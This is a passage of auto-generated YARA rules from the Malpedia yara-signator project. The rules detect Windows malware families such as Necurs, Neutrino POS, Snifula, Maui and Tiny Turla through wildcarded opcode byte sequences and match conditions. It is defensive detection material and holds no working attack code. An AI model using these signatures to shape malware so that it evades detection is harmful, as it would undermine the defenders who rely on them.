		$sequence_6 = { c1c80e 33c7 8b7b14 8903 8d0437 c1c007 314324 }
		$sequence_7 = { 8bf1 eb02 33f6 0fb74102 }
		$sequence_8 = { 6685c0 7429 0fb7d0 6683fa5c 7410 }
		$sequence_9 = { 66833c45f051400000 75f4 33d2 663915???????? 7415 660f1f840000000000 }
	condition:
		7 of them and filesize < 49208
}

rule MALPEDIA_Win_Sagerunex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3bc17e45-f6b5-56f7-b7ea-e25c9e23d339"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sagerunex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sagerunex_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "da6b189b8ae26a86626e8770a2d7d0803155a13ac9a34b2d4bbc9044c0ab3fcc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 0fb74b02 4803cb e8???????? 8d7701 ba04010000 e9???????? }
		$sequence_1 = { 8bc7 ffc7 3d00010000 0f8f2a030000 488bcb e8???????? 85c0 }
		$sequence_2 = { 4156 4157 4881ec60020000 488b05???????? 4833c4 4889842450020000 4d8bf1 }
		$sequence_3 = { 448bc3 e8???????? 33c0 c744242801234567 c744242c89abcdef c7442430fedcba98 c744243476543210 }
		$sequence_4 = { b801000000 488b8c2490000000 4833cc e8???????? 488b9c24d8000000 4881c4a0000000 5f }
		$sequence_5 = { 41b8000c0000 c744247001000000 48ffc3 4889442478 48894580 c744245001000000 4889442458 }
		$sequence_6 = { 488bcf 7512 e8???????? 85c0 751e 488d0d6e500300 eb8a }
		$sequence_7 = { 4983d300 4d034838 4d3b4838 4d894838 4983d300 4983c040 49ffcf }
		$sequence_8 = { f0ff00 488d4128 41b806000000 488d1560db0100 483950f0 740b 488b10 }
		$sequence_9 = { 03d8 41bc67666666 41b80d000000 f20f11450a f20f1005???????? 418bc4 4c8d4d90 }
	condition:
		7 of them and filesize < 619520
}

rule MALPEDIA_Win_Marap_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b10f821b-8ff2-589d-803b-f9a90d7546d1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.marap"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.marap_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "546aba24f6e8400321dff7dca511f4540ee158508029bfb4a7f44eaf5c6b5908"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 57 52 50 51 68???????? }
		$sequence_1 = { c1f805 8b048580320110 83e61f c1e606 }
		$sequence_2 = { 8d3c8580320110 8b07 c1e606 f644300401 7436 833c30ff }
		$sequence_3 = { 6a01 57 68???????? 89bda8fdffff }
		$sequence_4 = { 68???????? 8d9662030000 e8???????? 8b3d???????? 83c410 68???????? 68???????? }
		$sequence_5 = { eb22 8386e41d00000f eb19 8386e41d000010 }
		$sequence_6 = { 0f848d000000 8bc6 8d5002 668b08 83c002 663bcf 75f5 }
		$sequence_7 = { 895df8 0f8576ffffff 8bd7 5f 8bc6 5e }
		$sequence_8 = { 50 8dbeb2010000 57 e8???????? }
		$sequence_9 = { 6683f858 770f 0fb7c2 0fbe80d8cb0010 83e00f }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Snifula_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "afa48786-d5fc-5366-8008-6b70f692e7c3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snifula_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "7c279f7057df8c5886f1d459f9399bd6a55001fc2186a62b783d87332b8a3375"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 33f6 8d936c0e0000 6a05 58 50 56 }
		$sequence_1 = { 57 8d4c2420 e8???????? 8bd8 3bdd 7524 57 }
		$sequence_2 = { 40 8907 8d442414 50 56 56 8d7904 }
		$sequence_3 = { 7436 8b4728 a820 7416 ff7710 8b4708 }
		$sequence_4 = { 8345ec04 3b45e8 7295 eb1b 8b4df8 8b45f4 8b0488 }
		$sequence_5 = { bf???????? 57 53 ff15???????? 8bf0 85f6 7414 }
		$sequence_6 = { 7602 8bf0 8b4d10 6a00 56 ff7508 e8???????? }
		$sequence_7 = { 8bf8 ff35???????? 8b35???????? ffd6 53 89442414 }
		$sequence_8 = { 6a04 8d45fc 50 6a04 56 68???????? ff7508 }
		$sequence_9 = { 5e 5b c9 c20400 8d4804 ba1e010000 56 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Andromut_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "deb4a424-4b4e-5ea2-908f-5ddc5f18ef00"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.andromut_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "230945b6168ef420f0744200cbf464e2eea8368844f9caec3ac8e73f949cddb4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d8da0dfffff 51 6819000200 56 8d4da4 51 }
		$sequence_1 = { 47 3bfb 72e9 8b75fc 8b45f8 8b7c1018 33db }
		$sequence_2 = { 8d8db8f9ffff 51 8d8d70f9ffff 51 57 57 }
		$sequence_3 = { 53 51 ffb5a0f7ffff 8d8590f7ffff b92d57ae5b 0f438590f7ffff }
		$sequence_4 = { 8a4d08 8d41bf 3c19 7708 0fbed1 83ea41 eb34 }
		$sequence_5 = { 8d44246c b974723dc5 50 8d84247c030000 50 e8???????? }
		$sequence_6 = { 49 8bc1 c1e10b c1e805 25ff070000 0bc1 }
		$sequence_7 = { 8b9d70ffffff 8b856cffffff 03df a801 7415 6aff }
		$sequence_8 = { b802210000 6689443e16 0fb7443e06 8b75f8 }
		$sequence_9 = { e8???????? 8be5 5d c3 68c8060000 b8???????? e8???????? }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Virlock_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9f47c27a-c9f5-5a88-9d0b-7ae966c8318a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virlock_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "57885374cad55b220d8ca1f9432224bf7f5758a9b4619824c3d2cad7d03a8a3d"
		score = 75
		quality = 71
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 81f234ea98fc ba77fa04fa bb5191b6fe e8???????? 81f2fcfd84fd bb9d77e800 81f32dcee8ff }
		$sequence_1 = { 41 4a 54 52 4a 4b 55 }
		$sequence_2 = { 68???????? eb0a 68???????? 68???????? e8???????? 83fa00 751b }
		$sequence_3 = { 49 52 43 52 58 }
		$sequence_4 = { 3b12 3646 9a19386f50123e 54 0ae7 0220 6f }
		$sequence_5 = { d0c3 4a 43 d0a90a2bd0f3 }
		$sequence_6 = { bb666d87fd 83e904 ba0dd2b2fe eb00 83f905 7d74 bb93ec7eff }
		$sequence_7 = { 6b484768 e4cc 681cafc880 cf 6a78 d6 49 }
		$sequence_8 = { 70c1 8a6a8f b3f0 46 fd 098f46182e59 53 }
		$sequence_9 = { 36a25c6a5eac 42 775c 44 e4f2 2b470c d04ba2 }
	condition:
		7 of them and filesize < 4202496
}

rule MALPEDIA_Win_Necurs_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "86cbd739-582e-5cdb-a27a-e3c4138c2a5e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.necurs_auto.yar#L1-L161"
		license_url = "N/A"
		logic_hash = "39922dfc2893e9d4c51db465a227b3ce728857825f7b204e465cc4626e505419"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8bf2 ba06e0a636 f7e2 }
		$sequence_1 = { 13f2 a3???????? 8935???????? 890d???????? 8bc1 }
		$sequence_2 = { 33d2 030d???????? a3???????? a1???????? }
		$sequence_3 = { 397508 7604 33c0 eb12 }
		$sequence_4 = { 890d???????? 8bc1 5e c3 55 8bec }
		$sequence_5 = { 46 f7f6 8bc2 034508 5e 5d c3 }
		$sequence_6 = { 0f31 8bc8 a1???????? 56 }
		$sequence_7 = { 33c0 eb12 e8???????? 2b7508 }
		$sequence_8 = { 8d85ecfbffff 57 50 e8???????? 83c410 }
		$sequence_9 = { 33d7 33c1 52 50 }
		$sequence_10 = { ffd6 8bf8 59 59 85ff 74df }
		$sequence_11 = { 5e 5f c9 c3 8b35???????? }
		$sequence_12 = { 99 6848640300 68da279b71 33d7 }
		$sequence_13 = { 8bc1 8bd7 e9???????? 83caff 8bc2 e9???????? }
		$sequence_14 = { 57 57 57 8d8574ffffff 50 }
		$sequence_15 = { 8bc1 0bc7 7409 8bc1 8bd7 e9???????? }
	condition:
		7 of them and filesize < 475136
}

rule MALPEDIA_Win_Firechili_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c4b311c4-f6ac-5e5a-9826-d5ef4ea0d836"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.firechili_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "db458f5c2a3a8ef8f27139a55fa4a245c49e387f1da157602228dcf03106d70c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb2d 488b4c2430 8b442440 894110 4533c9 }
		$sequence_1 = { 4883ec20 488bda 488bf9 ba30000000 33c9 41b873747600 ff15???????? }
		$sequence_2 = { 4c8d442430 488bcb 41ffd1 eb1b 4c8b05???????? eb23 }
		$sequence_3 = { 4889bc2488000000 33ff c7450730000000 ba3f000f00 897d67 488d4d77 48897d77 }
		$sequence_4 = { 4885d2 7509 4883e802 bb05000080 668938 }
		$sequence_5 = { 0f8489000000 4885db 0f8480000000 488d5318 4032ff 4885d2 7462 }
		$sequence_6 = { e8???????? 488d0d65370000 ff15???????? ff15???????? 33c0 4881c430020000 }
		$sequence_7 = { 84c0 0f84ff000000 0fb77c2420 488b742428 8bc7 48d1e8 }
		$sequence_8 = { 33ff b90d0000c0 4d85d2 0f45cf 7408 488bc2 492bc2 }
		$sequence_9 = { 4889442420 488d55f7 ff15???????? 85c0 8bd8 0f49df }
	condition:
		7 of them and filesize < 91136
}

rule MALPEDIA_Win_Vapor_Rage_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1d14d0da-1333-54f1-9dbb-f6aece783656"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vapor_rage_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "4db758774b2d4194695ce32a1e8b4b65a9381f513267f8540ab016f72cc37d62"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f2e94e030000 55 8bec 5d e9???????? 55 }
		$sequence_1 = { 8d450c 50 8b4d08 51 6a02 ff15???????? 85c0 }
		$sequence_2 = { 6a00 8d55ec 52 8b45d4 }
		$sequence_3 = { 8d55ec 52 8b45d4 50 6a05 8b4de4 51 }
		$sequence_4 = { c3 3b0d???????? f27502 f2c3 f2e94e030000 }
		$sequence_5 = { 6a03 6a00 6a00 0fb755b0 52 }
		$sequence_6 = { 50 8b4d08 51 6a02 ff15???????? 85c0 }
		$sequence_7 = { 3b0d???????? f27502 f2c3 f2e94e030000 55 }
		$sequence_8 = { ff15???????? 8b4df8 81c900010000 894df8 8b55f8 81ca80000000 }
		$sequence_9 = { 83c404 8945c4 8b45c4 8945d0 }
	condition:
		7 of them and filesize < 296960
}

rule MALPEDIA_Win_Neutrino_Pos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "76543c5c-a591-5d27-b69f-6b94d6c2d536"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neutrino_pos_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "46f9a8dea2672570990106785d46980fe0790f0009b06412248bdd52d22cb9a1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a61 6689955cffffff 5a 6a6e 5f 6a75 5e }
		$sequence_1 = { 8b45d8 8d443001 50 53 e8???????? 8bd8 }
		$sequence_2 = { 56 57 e8???????? 59 59 8d4df8 51 }
		$sequence_3 = { 51 53 33ff 57 ffd0 85c0 7433 }
		$sequence_4 = { ff75fc ffd0 8945fc 3bc7 0f8580000000 }
		$sequence_5 = { 8945e8 83f8ff 0f84a4000000 3bc3 0f849c000000 687823b2ff 56 }
		$sequence_6 = { 5a 6a61 6689955cffffff 5a 6a6e }
		$sequence_7 = { 66898d56ffffff 66898d58ffffff 66898d5affffff 66898d5cffffff 66898d5effffff 66898d60ffffff 66898d62ffffff }
		$sequence_8 = { 58 6a43 8bc8 66898d4effffff 59 6a65 66898d50ffffff }
		$sequence_9 = { 6a6e 66898558ffffff 58 6a62 6689855affffff 58 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Acronym_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce514e29-77d6-5ca8-add6-cd76a31812fc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acronym_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "5cca7d22218319c4f5ca79e1094be5a7a94847bd4819615124c26ef306c59f0d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 894c05d0 ba04000000 6bd200 8b45ec 894415b4 b904000000 c1e100 }
		$sequence_1 = { 0fb6c8 85c9 0f84d4000000 8b550c 8955d8 8b4510 50 }
		$sequence_2 = { 50 8b85e8fdffff 8b08 8b95e8fdffff 52 8b413c }
		$sequence_3 = { 0fb6c8 85c9 753d 8d4dd8 e8???????? 50 }
		$sequence_4 = { 83f832 0f8547170000 c745e400000000 8b4de4 894de8 8b55e8 8955e0 }
		$sequence_5 = { 668b544144 668955fc 0fb745fc c1e004 8b4d08 8d940190c90000 b804000000 }
		$sequence_6 = { e8???????? 83c404 89853cfeffff 8d4ddc 898d84feffff 8b9584feffff 899540fdffff }
		$sequence_7 = { 8b4df0 668b544112 668955fc 0fb745fc c1e004 8b4d08 8d940190c90000 }
		$sequence_8 = { 8d95f4fdffff 52 8d8d50fdffff e8???????? 8bc8 e8???????? 50 }
		$sequence_9 = { 52 8b450c 50 8b8d0cffffff 51 e8???????? }
	condition:
		7 of them and filesize < 466944
}

rule MALPEDIA_Win_Rofin_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c9b1467e-a51a-5bb8-8a94-4fccc519267e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rofin_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "d75f02a0b301194d004b242ba71e57b27fdd5fa1479d807d198f353683f5f00e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f804 753f 8b11 8a02 3c30 7507 8b5108 }
		$sequence_1 = { 837c241801 7407 33db e9???????? 6a00 6a00 56 }
		$sequence_2 = { 56 57 8b7c2414 33c0 33f6 85ff }
		$sequence_3 = { e8???????? 8bf0 83c404 803e00 7453 6a0a }
		$sequence_4 = { 8a4802 84c9 743f 8a4801 84c9 750e 8a4802 }
		$sequence_5 = { 56 3b0d???????? 57 7358 8bc1 c1f805 8d3c85209e4200 }
		$sequence_6 = { 45 f2ae 8b442410 f7d1 2bf9 83c00d 8bd1 }
		$sequence_7 = { 89b42434010000 c744242800000000 ff15???????? 8d4c2418 51 56 e8???????? }
		$sequence_8 = { 59 c3 8b8d90fcffff e9???????? 8b8d90fcffff 81c168030000 e9???????? }
		$sequence_9 = { 8b442424 6a40 68???????? 50 e8???????? 83c41c 5f }
	condition:
		7 of them and filesize < 409600
}

rule MALPEDIA_Win_Maui_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c8e2f403-ec0e-5c62-bc65-b773780a2de5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maui"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maui_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "7f30138f7904f9e137800e0205092628d325a3b69e4098e86eb63774c736d746"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85ff 7505 49 85c9 7ff2 894e04 5f }
		$sequence_1 = { 85f6 7479 6a00 e8???????? 8d4c240c 51 89442410 }
		$sequence_2 = { 241c 51 57 e8???????? 83c418 85c0 }
		$sequence_3 = { 50 53 e8???????? 83c408 85c0 0f84a2000000 83c602 }
		$sequence_4 = { 68d7020000 68???????? 6886000000 68a3000000 6a06 c7450000000000 e8???????? }
		$sequence_5 = { 894c2420 0fb60f bd07010000 897c241c 66852c48 7431 0fb64f01 }
		$sequence_6 = { 41 57 51 e8???????? 83c40c 85c0 0f84d9000000 }
		$sequence_7 = { e8???????? a3???????? e8???????? 85c0 7d09 e8???????? 85c0 }
		$sequence_8 = { 8b5c2410 55 8b6c241c 57 8b7c241c 81fd00000040 724e }
		$sequence_9 = { 3bca 741f 8b4624 3bc2 7418 894c2418 895620 }
	condition:
		7 of them and filesize < 1616896
}

rule MALPEDIA_Win_Makadocs_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3783cfc0-154b-51b0-b2f8-112def4fc579"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makadocs_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "bc62432004ad887b8979c87f3801ee7c6c80fe20ba6026d285a25c1d6c33524c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 e8???????? 83c414 8d5c2414 c644243008 e8???????? c644243003 }
		$sequence_1 = { 750d 8d460c 55 e8???????? 84c0 7436 8b4c242c }
		$sequence_2 = { c644242c07 8b442434 51 83c0f0 89642420 8bf4 e8???????? }
		$sequence_3 = { eb12 8b442420 8b4804 51 ff15???????? }
		$sequence_4 = { 8b00 83c404 50 e8???????? 8b9548ffffff 894250 8b8554ffffff }
		$sequence_5 = { 85f6 0f8c09020000 3bf1 0f8f01020000 03c6 }
		$sequence_6 = { 8d5c2410 c64424300c e8???????? b303 885c2430 8b44241c }
		$sequence_7 = { 50 b9???????? e8???????? 8d4c2420 51 8d4c2450 c68424a80000002d }
		$sequence_8 = { 8d4c2440 e8???????? 8d542444 68???????? b314 }
		$sequence_9 = { 83c404 56 8944241c ff15???????? }
	condition:
		7 of them and filesize < 344064
}

rule MALPEDIA_Win_Rerdom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "241210bd-111a-5707-8897-9f53944f382f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rerdom_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "e2884a0afa7a1b2f6c9a54d86366aeef6787f3f56ae7efd9ba84c1b1c522c12e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 72f0 8bc3 e8???????? 8d45e4 50 ff15???????? 8b4510 }
		$sequence_1 = { 7406 c70003010000 85db 740f 53 ff742408 e8???????? }
		$sequence_2 = { 754d 8b4604 3bc3 7346 3b4608 7341 }
		$sequence_3 = { 743d 83fb09 7338 8d4704 56 50 8945fc }
		$sequence_4 = { 894618 85c0 0f84c8000000 a1???????? 85c0 7522 68???????? }
		$sequence_5 = { 750a 8d75ec e8???????? ebb8 b001 5e }
		$sequence_6 = { b8???????? 8bcb e8???????? 3bc6 0f8419ffffff 57 b8???????? }
		$sequence_7 = { 05???????? 50 8d44247c 50 e8???????? 8b442420 2b442424 }
		$sequence_8 = { 8b45fc c9 c20c00 55 8bec 56 8d4508 }
		$sequence_9 = { 0f849c000000 e8???????? 8bf8 85ff 0f8489000000 8b44240c 8b88f0000000 }
	condition:
		7 of them and filesize < 352256
}

rule MALPEDIA_Win_Tiny_Turla_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "461da2a0-bc71-5807-a972-eaee61f0fc07"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tiny_turla_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "3923b1794e00bdddc4d622e58d3337c930d14bfa9ca9a2022fc0085649294c88"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c705????????04000000 488bc8 ff15???????? 85c0 742c 488bcb }
		$sequence_1 = { 85c0 742c 488bcb e8???????? 488b0d???????? }
		$sequence_2 = { 4883ec20 488b1a 488d15e0ffffff 488bcb }
		$sequence_3 = { c705????????01000000 4883c420 5b 48ff25???????? }
		$sequence_4 = { 4883ec20 488b1a 488d15e0ffffff 488bcb ff15???????? 488905???????? 4885c0 }
		$sequence_5 = { 488bcb ff15???????? 488905???????? 4885c0 744a }
		$sequence_6 = { c705????????01000000 4883c420 5b 48ff25???????? 4883c420 }
		$sequence_7 = { 488d15e0ffffff 488bcb ff15???????? 488905???????? 4885c0 }
		$sequence_8 = { ff15???????? 85c0 742c 488bcb e8???????? 488b0d???????? }
		$sequence_9 = { ff15???????? 85c0 742c 488bcb e8???????? }
	condition:
		7 of them and filesize < 217088
}

rule MALPEDIA_Win_Beatdrop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7fbd33c7-5e5a-5775-9e75-19a0333e1225"
		date = "2026-01-05"
		modified = "2026-01-06"
